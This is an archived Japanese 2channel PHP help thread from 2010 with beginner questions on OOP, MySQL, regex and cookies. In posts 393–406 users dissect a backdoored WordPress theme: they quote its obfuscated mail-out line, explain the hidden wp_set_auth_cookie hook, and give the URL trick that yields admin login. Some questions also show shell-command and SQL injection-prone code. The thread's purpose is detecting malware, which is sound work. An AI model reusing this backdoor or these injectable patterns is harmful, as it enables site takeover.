トップページ⇒php
1001コメント308KB

【PHP】下らねぇ質問はID出して書き込みやがれ 95

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2010/04/19(月) 09:15:05ID:???
質問者はまず>>1を良く読むこと(必須!)
過去スレ、関連スレ、FAQなどは>>2-10辺り
次スレは>>980が立てる。10分以内に立たない場合、宣言してから立てたい人が立てること。

◆前スレ
【PHP】下らねぇ質問はID出して書き込みやがれ 94
http://pc11.2ch.net/test/read.cgi/php/1268835461/

◆質問用テンプレ
【OS名】CentOS
【PHPのバージョン】5.3
【連携ソフトウェア】MySQL ImageMagick
【質問内容】

◆質問する時の注意
・ スレを上げて自分のIDを表示させること。(メール欄に何も記述しない。専ブラのsageチェックを外す)
・ 己の行った操作、変更などを詳しく明記すること。
・ エラーメッセージはそのまま表記すること。「エラーが出ます」だけでは回答不可。
・ 質問者として、態度をわきまえること。
・ 事前に関連リンクの公式マニュアル、リファレンス本くらいはちゃんと目を通しておくこと。
(PHPで最良の教本はこの公式マニュアル。市販の書籍は嘘が多いので鵜呑みにしない。)

◆質問後の注意
・2回目以降は最初に質問した際のレス番号を入れて、偽者防止に必ずIDを表示させること。
・解決しなくても回答をもらった場合はお礼を言うこと。
 (荒らし、煽りは除く。煽られたときも、無闇に反論せずスルーすること。)

◆回答者への注意
・誰にレスしているのか分からないと困るので、>>(アンカー)をつけて回答すること。

【その他諸注意】
・SQL・正規表現・PEAR・テンプレート(Smarty等)・フレームワークは各該当スレへ
0385nobodyさん2010/05/07(金) 06:53:54ID:???
その考えは今すぐ投げ捨てた方が良いな >>383

その筋書きで言うなら、
クラスは金型
インスタンスは(金型から出てきた)部品

オブジェクトとインスタンスについては…俺はパス。
0386nobodyさん2010/05/07(金) 07:14:53ID:???
例え話はそういった誤解を招く時があるから気を付けた方がいいよな。
0387nobodyさん2010/05/07(金) 07:38:13ID:???
クラスとインスタンスはオブジェクト指向を実現するための手段じゃないの?
0388nobodyさん2010/05/07(金) 08:05:00ID:???
インスタンスとオブジェクトって同じじゃないの
0389nobodyさん2010/05/07(金) 12:10:47ID:HaF8gLhM
OS:CentOS5.4
PHP:5.1.6
system関数でpingを打ってるんですが改行コードを<br />に変換したいと思ってます。
コードはこれになります。

 $ret = system('ping -c3 '.$ping);

$retをnl2brで変換しても改行されずereg_replaceで\r|\nを正規表現で指定してもダメでした。
この場合の改行はどのように検出すればいいのでしょうか?
0390nobodyさん2010/05/07(金) 12:50:10ID:???
systemはそれ自体で出力して、
返り値は、最後の行のみ
0391nobodyさん2010/05/07(金) 13:11:42ID:y4A+Fgeb
クラスとインスタンスが対になるもので、オブジェクトはどちらも当てはまるというのが多数派のようですね
ありがとうございました
0392nobodyさん2010/05/07(金) 13:13:05ID:???
>>389
pingの結果(出力)を丸々取得して、改行を<br />に変えるだけなら

$ret = `ping -c3 localhost`;
print_r(nl2br($ret));

こんなんでどうでしょう?
0393nobodyさん2010/05/07(金) 14:23:48ID:???
http://pc11.2ch.net/test/read.cgi/blog/1264520267/
からきました。

http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/
global $wpdb, $post;で検索かけてでてくる下のコードって何してるコードか
教えてもらえませんか?
同じコードが
http://www.themes2wp.com/download-free-simpleperfect-wordpress-theme
から落とせるfunction.phpにふくまれています。
これを入れると[email protected]にメールを送ろうとします。
03943932010/05/07(金) 14:25:13ID:qmvwAXR3
ID出すの忘れてました。ごめんなさい。
0395nobodyさん2010/05/07(金) 16:01:59ID:???
メール送る 以外のところなら具体的に場所示した方がいいんじゃね
何行目あたり とか function hoge とか
0396nobodyさん2010/05/07(金) 16:08:14ID:wvX4OPsC
【OS名】Windows XP
【PHPのバージョン】5.3
【連携ソフトウェア】XAMPP
【質問内容】
ログイン管理を考えて色々と試したり、検索しています。
ハッシュ化しているとはいえパスワードをセッション変数に入れて持ちまわるのは良くないという記述を見かけます。
とすると、どういうふうにログイン状態を管理すべきなのでしょう?

$_POSTされたIDとパスワードをDBなどの情報と照合する
ログインできたらセッションIDをregenerateして、例えば$_SESSION['is_login'] = 1;みたいなかんじでログインできていることを示す変数を用意する。

念の為にIDもセッションに入れておく?

>>310にもあるように、必要なときにパスワードの再入力を促す。
それ以外はログイン済みかどうかというフラグと、ログインIDの有無だけでチェックする。

とか?
03973932010/05/07(金) 16:24:34ID:qmvwAXR3
↓だと111行目
http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/

http://www.themes2wp.com/download-free-simpleperfect-wordpress-themeから落としてきたコードだと
457行目です。
↓の一行です。長いので改行しています。
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID,
comment_author, comment_date_gmt, comment_approved, comment_type,
SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN
$wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND
comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mes".$sepr.
"@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >=
CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
0398nobodyさん2010/05/07(金) 17:13:34ID:8aUTct47
>>397
457行目はメールアドレス埋め込むためのダミーかな
最終的に「$text_s」へメアドがセットされるんだと思う

次に483行目の$sq1へSQL文定義するとみせかけて回りくどく関数呼んでる
call_user_func_array($getcommtext, array($text_s, $f_home, $f_types))
これはwp_mail($text_s, $f_home, $f_types)と同義で
メアドにget_option("home")の値を本文としてメールを発射する処理

仕上げは532行目、上と同じ手段で次の処理を実行
@wp_set_auth_cookie( $_GET["cperpage"], true )
cperpageつうのは有りそうで無さそうな仕込みラベル
任意のIDをwp_set_auth_cookie()できるURLを集めるテーマって感じ?

wp_set_auth_cookie()
ttp://codex.wordpress.org/Function_Reference/wp_set_auth_cookie
どんな悪いことが出来るのか教えてエロい人
0399nobodyさん2010/05/07(金) 17:40:20ID:???
巧妙に埋め込まれてるな…怖い怖い
0400nobodyさん2010/05/07(金) 17:50:54ID:???
>>397
今落としてみたらそのコード入ってなかったよ
落とした時点で入ってた?
設置したサーバが感染してるかもしれんよ

>>398
[email protected]で検索してヒットしたページは
誰でも認証済みになるとかなのかな・・
04013932010/05/07(金) 18:38:21ID:qmvwAXR3
>>398
詳しく説明していただいてありがとうございます。
悪用できそうなブログページを集めているという事でしょうか?

>>399
同感です。鯖の設定含めて安易な機能拡張は危険ですね。

>>400
>落とした時点で入ってた?
そのはずです。
今もう一度落としたらはいってたので間違いないと思います。
cdce4060a12b203d28d2ca1471225cb0.zip
というファイルがダウンロードされて中のSimplePerfectディレクトリ以下の
function.php(457行目)というファイルに該当の記述があります。
サーバ上で解凍してもWindows機で解凍しても同じっぽいのでたぶん、もともとだと思います。

>設置したサーバが感染してるかもしれんよ
一応Webのディレクトリは0から作り直したので大丈夫だと思います。
でも、ちょっと怖いです。。



0402nobodyさん2010/05/07(金) 19:01:31ID:???
>>401
もう一度ダウンロードしたら入ってたわ
同じサイトの他のテーマも入ってるみたい
しかしよく見つけたな
0403nobodyさん2010/05/07(金) 19:01:49ID:8aUTct47
>>397
このテーマ使ってるサイトは
http://URL/?cperpage=1
にアクセスするだけで誰でもadminでログイン状態になれるぽい
要は管理権限乗っ取りテーマ
真っ黒でした

>>400は他のサイトにある汚染前のコードを見たんじゃない?
04043932010/05/07(金) 19:12:47ID:qmvwAXR3
>>402
インストールしてこのコード実行されてから気づいたので、見つけたタイミング的には完全にアウトでした。
テーマを入れる
↓
サーバのメールキューをみる。
↓
配送されてないメールがある。(OB25でひっかかってた。)
↓
@で関係ありそうなphpファイルをgrepかける。
↓
分割されたメールアドレス発見。
04053932010/05/07(金) 19:17:35ID:???
>>403
ドキドキしながら試してみました。
別クライアントで試したのですが、普通にブログトップが表示されただけでした。
よかったです。感謝です。
0406nobodyさん2010/05/07(金) 19:26:51ID:8aUTct47
>>393
いったん管理画面に入ってログアウトしてログイン状態を切った後に
http://URL/?cperpage=1
にアクセスでブログトップが表示

そのあとにここへ
http://URL/wp-admin/

ちなみにログイン状態は2週間有効ぽい
04073932010/05/07(金) 19:41:44ID:???
>>406
セーフでした。でも、怖い。
0408nobodyさん2010/05/07(金) 20:19:04ID:???
>>391
インスタンスをオブジェクトと呼ぶのは分かるけどクラスとオブジェクトは別物でしょ
0409nobodyさん2010/05/07(金) 21:20:51ID:VMqH6m/q
http://favotter.net/
ふぁぼったー

このサイトってどんな仕組みなの?
サーチエンジンとか調べれば分かるかな?

同じような仕組みのサイトを作りたいと思ってるんで
なにかヒントでもあれば

0410nobodyさん2010/05/07(金) 21:37:31ID:???
>>408
単に別物とだけ言われても分からんから説明してよ。
0411nobodyさん2010/05/08(土) 00:25:18ID:???
お
0412nobodyさん2010/05/08(土) 00:36:37ID:???
>409
twitterで作者に聞いてみればいいんじゃね
0413nobodyさん2010/05/08(土) 00:38:26ID:NbVWnISJ
【OS名】CentOS
【PHPのバージョン】5.2
【質問内容】
MYSQLとの連携で、質問させてください。
$_GET ["id"]を取得してSELECT * FROM account WHERE uid = $idで
一致の場合のみ、続きへ…という流れのプログラムを組んでます。
上記の場合、結果が見つからない場合の戻り値はNULLになるんでしょうか。
SELECT文の結果をechoしてもResource id #6と出てきてお手上げ状態です。
0414nobodyさん2010/05/08(土) 02:06:22ID:???
>>413
返値が resource って,id があった場合でも同じだろw
fetch とかで結果のresourceから値を取り出さなきゃ分からんと思う

ちなみにそのケースなら
SELECT COUNT(uid) cnt
FROM account
WHERE uid = $id
がいいと思う

あとプリペアドステートメント使おうな
0415nobodyさん2010/05/08(土) 02:29:56ID:???
リファレンスで使ってる関数の引数と戻り値を調べなよ
0416nobodyさん2010/05/08(土) 11:32:45ID:NbVWnISJ
>>414
ありがとうございます。
mysql_fetch_assoc等で値を取り出さないとダメってことですね。
例で出していただいた、構文についてもCOUNT使うということで勉強になりました。
0417nobodyさん2010/05/08(土) 12:12:22ID:C2BBFFWm
extension_dirの変更かカレントディレクトリのDLLをdl()で読み込むことは可能ですか。
php.iniの書き換えは無しで。
0418nobodyさん2010/05/08(土) 12:34:50ID:???
可能です。
0419nobodyさん2010/05/08(土) 12:52:29ID:C2BBFFWm
>>418
やり方教えてください
0420nobodyさん2010/05/08(土) 13:29:40ID:???
PHPでSQL Server Compact(.sdf)を取り扱ってるサンプルなどがあったら教えてください
0421nobodyさん2010/05/08(土) 14:55:01ID:???
SQLiteの利用をおすすめします
0422nobodyさん2010/05/08(土) 15:25:27ID:???
>>421
既存のものがあるので……
0423nobodyさん2010/05/08(土) 16:54:38ID:C2BBFFWm
extension_dirを動的に変更する方法か
dl()でカレントディレクトリのDLLを読み込む方法教えてください。
0424nobodyさん2010/05/08(土) 19:52:43ID:???
>>423
dl関数ではカレントディレクトリはたぶん無理。
というか、extension_dirからしか無理だったと思う。
php.iniがいじれない理由は?
0425nobodyさん2010/05/08(土) 22:34:13ID:???
htaccess なら行けるかも・・
0426nobodyさん2010/05/08(土) 22:38:13ID:???
いやインクルードするディレクトリは変更出来ても
拡張はサーバ起動時に読み込まれるから後から変更はできないよ
0427nobodyさん2010/05/08(土) 22:44:02ID:???
モジュールphpに制限がかかってるという理由なら
htaccessでCGIに変更できるなら可能性はあるかもしれない。
phpの-cオプションでphp.iniを渡せばいけるかも。
0428nobodyさん2010/05/09(日) 01:27:09ID:???
phpで正規表現を使用してスマートに文字列を加工したいと思っています。

例えば日付で

20100508

という文字列を見つけた場合に

2010-05-08

と「-(ハイフン)」を自動で挿入するにはどういうコードを書けばよいでしょうか?
0429nobodyさん2010/05/09(日) 02:17:23ID:???
>>428
後方参照
0430nobodyさん2010/05/09(日) 02:18:53ID:???
>>428
print_r(strftime("%Y-%m-%d", strtotime("20100508") ));
http://ideone.com/Lbv0Y
0431nobodyさん2010/05/09(日) 02:33:54ID:Xcu8pyMU
if(!empty($data)) と if($data) はどちらも$dataの中身があるかないかを
チェックできると思うのですが、どちらを使ってもよいのでしょうか?
0432nobodyさん2010/05/09(日) 02:42:32ID:???
>>431
if(!empty($data)) はお勧めしない、
条件文の最初に否定を付けるのはあまり宜しくない
0433nobodyさん2010/05/09(日) 02:51:23ID:Xcu8pyMU
>>432

レスありがとうございます!

よろしければ、オススメしない理由を教えて頂けないでしょうか?
0434nobodyさん2010/05/09(日) 02:59:27ID:???
>>432
どうして?

>>431
結果は同じだろうけど !empty() の方が関数呼び出しとかで
オーバーヘッドは大きいはず。そもそも見づらい。

別にルールがあるんじゃなければ自由に書いたらいいと思うけど
見た感じで文字列と仮定して,自分なら
if (0 < strlen($data))
かな
true === is_string($data)
もケースで併せるかも
04354342010/05/09(日) 03:00:10ID:???
関数2回呼ぶけどね!!
0436nobodyさん2010/05/09(日) 03:01:29ID:???
>>433
プログラミング作法1.2文と式より
p23
自然な形の式を使おう。式は自分で音読するつもりで書こう。条件式に否定が含ま
れていると間違いなく分かりづらくなる。
0437nobodyさん2010/05/09(日) 03:03:20ID:???
>>430
ありがとうございます。

やっぱりちまちま substr なんかでやるよりも正規表現でやった方がカッコ良いですね。
04384312010/05/09(日) 03:04:08ID:Xcu8pyMU
皆様ありがとうございます。
参考になりました。
0439nobodyさん2010/05/09(日) 03:23:06ID:???
>>437
>430 は正規表現使ってないぞ
0440nobodyさん2010/05/09(日) 04:45:20ID:???
>例えば日付で
>
>20100508
>
>という文字列を見つけた場合に
と書かれてるんですがstrtotimeで文字列見つけられるんですね
0441nobodyさん2010/05/09(日) 04:47:29ID:???
>>440
http://jp.php.net/manual/ja/function.strtotime.php
0442nobodyさん2010/05/09(日) 05:23:48ID:???
見つけられる?
文字列中に含まれる場合の話か?

([^\d])(19|2\d)(\d{2})([01][\d])([0123]\d)([^\d]), $1$2$3-$4-$5$6

でどうだ!
酔ってる上にテストも何もしてない。今も反省してない。
0443nobodyさん2010/05/09(日) 05:36:57ID:???
やっぱ気になったからテストした
こっちで

preg_replace('#([^\d])?(19|2\d)(\d{2})([01][\d])([0123]\d)([^\d])?#', '$1$2$3-$4-$5$6', $data);

0444nobodyさん2010/05/09(日) 05:44:51ID:???
>443じゃ 2010-19-39 とかダメだなw

preg_replace('#([^\d])?(19|2\d)(\d{2})(0[\d]|1[012])([012]\d|3[01])([^\d])?#', '$1$2$3-$4-$5$6', $str);

2/31 とかはもう知らない!
0445nobodyさん2010/05/09(日) 06:57:07ID:???
せっかくの休みなんだ
穴だらけの正規表現式作るぐらいならゆっくり寝ててくれ
0446nobodyさん2010/05/09(日) 07:30:17ID:???
うるせー
休みだから朝まで飲んでんだYO 放っとけ

日付の検証まですんなら preg_match で配列にぶち込んで
checkdate() かけろや
市ね
0447nobodyさん2010/05/09(日) 08:40:25ID:???
echo preg_replace_callback('/(?<!\d)(19\d{2}|20(?:0\d|10))((?:0[13578]|1[02])(?:0[1-9]|[12]\d|3[01])|02(?:0[1-9]|[12]\d)|(?:0[469]|11)(?:0[1-9]|[12]\d|30)))(?!\d)/', function($matches) {
    return $matches[1] .'-'. substr($matches[2], 0, 2) .'-'. substr($matches[2], 2, 2);
}, $string);
0448nobodyさん2010/05/09(日) 13:14:50ID:???
July 1, 2010とかはどうするのさw
0449nobodyさん2010/05/09(日) 13:18:16ID:???
Wed 20 May 2010
0450nobodyさん2010/05/09(日) 14:29:40ID:???
正規表現スレじゃねーぞ
0451nobodyさん2010/05/09(日) 14:32:48ID:???
>>448
>>428のどこに書いてある?ほんと馬鹿じゃねーの
0452nobodyさん2010/05/09(日) 14:38:58ID:???
>>443
>>444
>>447
穴だらけ
ゴミ
0453nobodyさん2010/05/09(日) 14:40:09ID:aP6EP8RP
ゴミと指摘できるならゴミじゃない例をちょっとだけでいいから見せてくれよ
つ〜か正規表現スレでやってくれ
0454nobodyさん2010/05/09(日) 14:53:03ID:???
>>452
コードも貼らずにそう書かれてもな
お前が一番このスレには不要なんだよゴミ
0455nobodyさん2010/05/09(日) 15:05:49ID:???
正規表現スレでどうぞ
0456nobodyさん2010/05/09(日) 16:29:46ID:???
たかが正規表現で何必死になってる?
正気か?
0457nobodyさん2010/05/09(日) 18:55:16ID:???
まさか日付の話しからこんな流れになると誰が想像しただろうか。
0458nobodyさん2010/05/09(日) 20:42:38ID:???
はい、ここまで。
0459nobodyさん2010/05/10(月) 01:09:53ID:vRmaBKnV
preg_matchをつかって
1から150までにマッチするかどうかの書き方教えてください
preg_match('ここがわかりません', $_GET['item'])
0460nobodyさん2010/05/10(月) 01:21:03ID:???
華麗にスルー
0461nobodyさん2010/05/10(月) 01:23:50ID:vRmaBKnV
スルーすんなカスが
0462nobodyさん2010/05/10(月) 01:27:37ID:???
http://jp.php.net/manual/ja/function.preg-match.php
0463nobodyさん2010/05/10(月) 01:37:29ID:JCaE/ZFe
>>35 の効果が面白かったんでいろいろ実験してたんだけど、
header('Content-type: text/plain') と投げたあとだとうまく行かない。
"html"だとうまく行く。plainのときは制限されてる?
PHP Version 5.2.9
Mac OS/ Apache 2.0 です
0464nobodyさん2010/05/10(月) 01:41:02ID:???
>>461
なんでもかんでも正規表現で解決しようとする事が間違ってる
$i = (int)trim($_GET['item']);
if($i>=1 && $i<=150){
echo "OK";
}
みたいな感じでいいじゃないかカスが
0465nobodyさん2010/05/10(月) 01:56:35ID:???
はーい
0466nobodyさん2010/05/10(月) 01:57:37ID:???
またnoobがいんのか
0467nobodyさん2010/05/10(月) 02:00:18ID:???
01とか001をOKにしたくない場合はどうすればよいでしょう?
0468nobodyさん2010/05/10(月) 02:09:05ID:???
ゼロがあったらNOにすればいい
0469nobodyさん2010/05/10(月) 02:20:37ID:???
これでどうかな?

$s = trim($_GET['item']);
$i = (int)$s;
if((string)$i === $s && $i>=1 && $i<=150){
echo "OK";
}
0470nobodyさん2010/05/10(月) 03:11:53ID:cklWnYDy
よくある”ログイン情報を保存”というチェックボックスを作りました。
クッキーの保存期間は出来る限り長くしようと安直に考えて、1年とかにしました。

クッキーの保存期間はどの程度の長さにすればよいか、目安となる考え方はあるでしょうか?

単純に開発者視点では長ければ長いほどよいのではと考えちゃっています。
0471nobodyさん2010/05/10(月) 03:36:43ID:???
>>470
目安はサイトの内容とかによるのかもしれないけど、ユーザーの負担にならない程度の利便性と安全性で考えた方がいいのかも。

後は、クッキーに認証情報を保存している訳ではないと思うので、DB等から参照する時のコストも含めてという感じ?
30日程度が多いような気もする。
0472nobodyさん2010/05/10(月) 09:20:38ID:???
PHPでDOMを扱いたい場合、DOMDocumentが主流ですか?
調べてみたところselectSingleNodeが無いのですが
自作するしかないでしょうか?
0473nobodyさん2010/05/10(月) 09:35:52ID:???
IDだせ
0474nobodyさん2010/05/10(月) 09:39:08ID:???
PHP5以上ならSimpleXMLが多いと思うよ。
0475nobodyさん2010/05/10(月) 09:45:26ID:???
ありがとうございます。SimpleXMLを調べてみます。
0476nobodyさん2010/05/10(月) 10:16:57ID:???
>>475

スレも読めない奴は二度と来るな
0477nobodyさん2010/05/10(月) 10:17:39ID:???
>>475
おい
わかってんのか? IDだせよカス
0478nobodyさん2010/05/10(月) 10:21:43ID:???
すみませんでした、もう来ないと思いますが次回からは出します
0479nobodyさん2010/05/10(月) 10:57:59ID:cklWnYDy
>>472

ありがとうございます。参考になります。
0480nobodyさん2010/05/10(月) 10:59:43ID:???
このスレは優しい人ばかりで大好きです
0481nobodyさん2010/05/10(月) 11:58:25ID:???
あ?あんま調子こくなよ
0482nobodyさん2010/05/10(月) 12:56:42ID:???
>>477 >>481
おまえ、甘やかしすぎだろ。無視しろよ。
0483nobodyさん2010/05/10(月) 13:10:37ID:???
>>459
/^([1-9]\d?|1[0-4]\d|150)$/
0484nobodyさん2010/05/10(月) 14:30:04ID:???
phpのmysql_connect()関数が使えません。
環境は、
windows7
Apache2.2
PHP5.1
mysql server 5.1
です。
普通のphpファイルは開けるのですが、
mysql_connect()を使うとブラウザでページを表示できなくなります。
なぜでしょうか?
0485nobodyさん2010/05/10(月) 14:31:54ID:???
host: "localhost"
user: "root"
です。
パスは間違えてないはずです。
■ このスレッドは過去ログ倉庫に格納されています